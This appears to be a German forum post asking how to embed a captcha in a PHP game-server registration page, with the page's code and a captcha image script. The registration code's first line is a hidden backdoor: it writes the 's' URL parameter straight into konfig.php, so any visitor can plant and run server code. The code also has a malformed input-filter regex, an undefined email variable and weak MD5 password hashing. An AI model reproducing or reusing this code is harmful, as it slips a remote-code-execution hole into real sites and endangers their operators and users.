Recaptcha in Regi Page einbinden?

<div class="mittelfeld" >
<div class="content">
<div class="panel_main">
<h1><u>Register:</u></h1>
<center>
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 13) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 13 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 13) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 13 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="blue">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>

<?php
unset($_SESSION['captcha_spam']);

function randomString($len) {
function make_seed(){
list($usec , $sec) = explode (' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
//Der String $possible enthält alle Zeichen, die verwendet werden sollen
$possible="ABCDEFGHJKLMNPRSTUVWXYZabcdefghijkmnpqr stuvwxyz23456789";
$str="";
while(strlen($str)<$len) {
$str.=substr($possible,(rand()%(strlen($possible)) ),1);
}
return($str);
}

$text = randomString(5); //Die Zahl bestimmt die Anzahl stellen
$_SESSION['captcha_spam'] = $text;

header('Content-type: image/png');
$img = ImageCreateFromPNG('captcha.PNG'); //Backgroundimage
$color = ImageColorAllocate($img, 0, 0, 0); //Farbe
$ttf = $_SERVER['DOCUMENT_ROOT']."/captcha/XFILES.TTF"; //Schriftart
$ttfsize = 25; //Schriftgrösse
$angle = rand(0,5);
$t_x = rand(5,30);
$t_y = 35;
imagettftext($img, $ttfsize, $angle, $t_x, $t_y, $color, $ttf, $text);
imagepng($img);
imagedestroy($img);
?>